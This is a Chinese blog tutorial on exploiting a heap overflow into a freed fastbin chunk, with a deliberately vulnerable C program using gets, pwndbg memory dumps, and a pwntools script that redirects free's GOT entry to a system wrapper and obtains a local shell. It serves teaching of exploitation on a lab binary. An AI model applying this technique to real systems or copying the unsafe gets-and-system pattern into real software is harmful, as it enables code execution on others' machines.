Overflow Freed Chunk

6 篇文章 1 订阅

一世风尘过往云烟 弯月又挂南山颠
不见故人轻舞翩跹 只闻落泪往昔间

简介

Overflow Freed Chunk可以理解为常规的堆溢出,即程序向某个堆块中写入的字节数超过了堆块本身可使用的字节数(之所以是可使用而不是用户申请的字节数,是因为堆管理器会对用户所申请的字节数进行调整,这也导致可利用的字节数都不小于用户申请的字节数),因而导致了数据溢出,并覆盖到物理相邻的高地址的下一个堆块
不难发现,堆溢出漏洞发生的基本前提:
程序向堆上写入数据
写入的数据大小没有被良好地控制


原理

与栈溢出所不同的是,堆上并不存在返回地址等可以让攻击者直接控制执行流程的数据,因此我们一般无法直接通过堆溢出来控制EIP
所以通常我们利用堆溢出的策略是:
1.覆盖与其物理相邻的下一个 chunk 的内容:
- prev_size
- size,主要有三个比特位,以及该堆块真正的大小
– NON_MAIN_ARENA
– IS_MAPPED
– PREV_INUSE
– the True chunk size
- chunk content,从而改变程序固有的执行流。
2.利用堆中的机制(如 unlink 等 )来实现任意地址写入( Write-Anything-Anywhere)或控制堆块中的内容等效果,从而来控制程序的执行流
通俗的来讲就是我们利用fastbin的分配和回收机制,构造出特定的一条chunk链,然后通过对上一个chunk的写入来溢出覆盖下一个chunk的fb指针,从而达到于fastbin_double_free一样的效果,需要注意的是我们在溢出的时候我们需要保留下一个chunk的一些基本信息,比如size的大小,inuse等


基本思路

基本步骤就是:
先申请两chunk:ptr[0]和ptr[1],然后先free(ptr[1]),再free(ptr[0]),此时ptr[0]z在ptr[1]的前面,即ptr[0]–>ptr[1];然后再次申请一个chunk,我们将拿到ptr[0],此时进行精心的溢出操作,可以覆盖到ptr[1],再次申请一次chunk将拿到ptr[1],最后再申请一次chunk就可以拿到特定位置的“chunk”,此时进行写入操作就可以修改成我们需要的内容了


实例

heap.c

#include<stdio.h>
#include<stdlib.h>
#include<string.h>

void sh(char *cmd)
{
	system(cmd);	
}

int main()
{
	setvbuf(stdout,0,_IONBF,0);
	int cmd,idx,sz;
	char *ptr[10];
	memset(ptr,0,sizeof(ptr));
	puts("1.malloc+gets\n2.free\n3.puts\n");
	while(1)
	{
		printf("> ");
		scanf("%d %d",&cmd,&idx);
		idx %= 10;
		if(cmd==1)
		{
			scanf("%d%*c",&sz);
			ptr[idx] = malloc(sz);
			gets(ptr[idx]);		//溢出
		}
		else if(cmd==2)
		{
			free(ptr[idx]);
			ptr[idx] = 0; 	//不再存在double_free
		}
		else if(cmd==3)
		{
			puts(ptr[idx]);
		}
		else
		{
			exit(0);
		}
	}
 	return 0;
}

编译:

gcc -no-pie heap.c -o heap -g -w

演示

root@sir-PC:/home/sir/desktop# gdb heap
GNU gdb (Debian 7.12-6+b2) 7.12.0.20161007-git
Type "apropos word" to search for commands related to "word"...
pwndbg: loaded 174 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from heap...done.
pwndbg> b 20
Breakpoint 1 at 0x40084c: file heap.c, line 20.
pwndbg> r
Starting program: /home/sir/desktop/heap 
1.malloc+gets
2.free
3.puts

> 
Breakpoint 1, main () at heap.c:20
20			scanf("%d %d",&cmd,&idx);
pwndbg> c
Continuing.
1 0
24 aaaabbbb	#ptr[0],第一次申请
> 
pwndbg> x/20gx 0x602660
0x602660:	0x0000000000000000	0x0000000000000021
0x602670:	0x6262626261616161	0x0000000000000000
0x602680:	0x0000000000000000	0x0000000000020981
0x602690:	0x0000000000000000	0x0000000000000000
0x6026a0:	0x0000000000000000	0x0000000000000000
0x6026b0:	0x0000000000000000	0x0000000000000000
0x6026c0:	0x0000000000000000	0x0000000000000000
0x6026d0:	0x0000000000000000	0x0000000000000000
0x6026e0:	0x0000000000000000	0x0000000000000000
0x6026f0:	0x0000000000000000	0x0000000000000000
pwndbg> c
Continuing.
1 1
24 qqqqssss	#ptr[1],第二次申请
> 
pwndbg> x/20gx 0x602660
0x602660:	0x0000000000000000	0x0000000000000021
0x602670:	0x6262626261616161	0x0000000000000000
0x602680:	0x0000000000000000	0x0000000000000021
0x602690:	0x7373737371717171	0x0000000000000000
0x6026a0:	0x0000000000000000	0x0000000000020961
0x6026b0:	0x0000000000000000	0x0000000000000000
0x6026c0:	0x0000000000000000	0x0000000000000000
0x6026d0:	0x0000000000000000	0x0000000000000000
0x6026e0:	0x0000000000000000	0x0000000000000000
0x6026f0:	0x0000000000000000	0x0000000000000000
pwndbg> c
Continuing.
2 1	#free(ptr[1])
> 
pwndbg> x/20gx 0x602660
0x602660:	0x0000000000000000	0x0000000000000021
0x602670:	0x6262626261616161	0x0000000000000000
0x602680:	0x0000000000000000	0x0000000000000021
0x602690:	0x0000000000000000	0x0000000000000000
0x6026a0:	0x0000000000000000	0x0000000000020961
0x6026b0:	0x0000000000000000	0x0000000000000000
0x6026c0:	0x0000000000000000	0x0000000000000000
0x6026d0:	0x0000000000000000	0x0000000000000000
0x6026e0:	0x0000000000000000	0x0000000000000000
0x6026f0:	0x0000000000000000	0x0000000000000000
pwndbg> c
Continuing.
2 0	#free(ptr[0])
> 
pwndbg> x/20gx 0x602660
0x602660:	0x0000000000000000	0x0000000000000021
0x602670:	0x0000000000602690	0x0000000000000000
0x602680:	0x0000000000000000	0x0000000000000021
0x602690:	0x0000000000000000	0x0000000000000000
0x6026a0:	0x0000000000000000	0x0000000000020961
0x6026b0:	0x0000000000000000	0x0000000000000000
0x6026c0:	0x0000000000000000	0x0000000000000000
0x6026d0:	0x0000000000000000	0x0000000000000000
0x6026e0:	0x0000000000000000	0x0000000000000000
0x6026f0:	0x0000000000000000	0x0000000000000000

现在我们再次申请chunk,在进行写入操作的时候造成溢出就可以覆盖下一个chunk,即ptr[1]的fb了,即完成了修改fb的操作,当我们再次申请两个chunk的时候,就可以跳转的我们修改的fb上了
这里我们先只演示可以发生溢出

pwndbg> c
Continuing.
1 2
24 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
> 
pwndbg> x/20gx 0x602660
0x602660:	0x0000000000000000	0x0000000000000021
0x602670:	0x6161616161616161	0x6161616161616161
0x602680:	0x6161616161616161	0x6161616161616161
0x602690:	0x6161616161616161	0x6161616161616161
0x6026a0:	0x6161616161616161	0x6161616161616161
0x6026b0:	0x0061616161616161	0x0000000000000000 //溢出
0x6026c0:	0x0000000000000000	0x0000000000000000
0x6026d0:	0x0000000000000000	0x0000000000000000
0x6026e0:	0x0000000000000000	0x0000000000000000
0x6026f0:	0x0000000000000000	0x0000000000000000

EXP

from pwn import *
p = process('./heap')
context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']
if args.G:
    gdb.attach(p)
    
def cmd(x):
    p.recvuntil('> ')
    p.send(x+'\n')

def malloc(i,s):
    cmd('1 %d\n24 %s'%(i,s))

def free(i):
    cmd('2 %d'%i)

malloc(0,'a'*8)
malloc(1,'b'*8)
free(1)
free(0)
malloc(2,'a'*24 + p64(0x21) + p64(0x601018))
malloc(3,'sh')
malloc(4, p64(0x4007d7))
p.recvuntil('> ')
p.sendline('2 3')
p.interactive()

这里我是将free的got表的地址换成了sh()函数的地址,然后在ptr[3]的位置写入了一个"sh"字符串,当我们调用free(ptr[3])时,就变成了调用system(ptr[3]),即system(sh);
这里需要注意的是溢出时字符串的构造:

pwndbg> x/20gx 0x602660
140 0x602660:   0x0000000000000000  0x0000000000000021
141 0x602670:   0x6161616161616161  0x6161616161616161
142 0x602680:   0x6161616161616161  0x0000000000000021 //<--这个位置是chunk的size需要保留,与申请的字节有关
143 0x602690:   0x0000000000601018  0x0000000000000000
144 0x6026a0:   0x0000000000000000  0x0000000000020961
145 0x6026b0:   0x0000000000000000  0x0000000000000000
146 0x6026c0:   0x0000000000000000  0x0000000000000000
147 0x6026d0:   0x0000000000000000  0x0000000000000000
148 0x6026e0:   0x0000000000000000  0x0000000000000000
149 0x6026f0:   0x0000000000000000  0x0000000000000000

exp.py运行结果:

sir@sir-PC:~/desktop$ python exp.py
[+] Starting local process './heap': pid 25427
[*] Switching to interactive mode
$ ls
core  exp.py  heap  heap.c 
$ whoami
sir
$ id
uid=1000(sir) gid=1000(sir)=1000(sir),7(lp),27(sudo),100(users),107(netdev),110(lpadmin),116(scanner),122(sambashare),996(autologin)
$
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值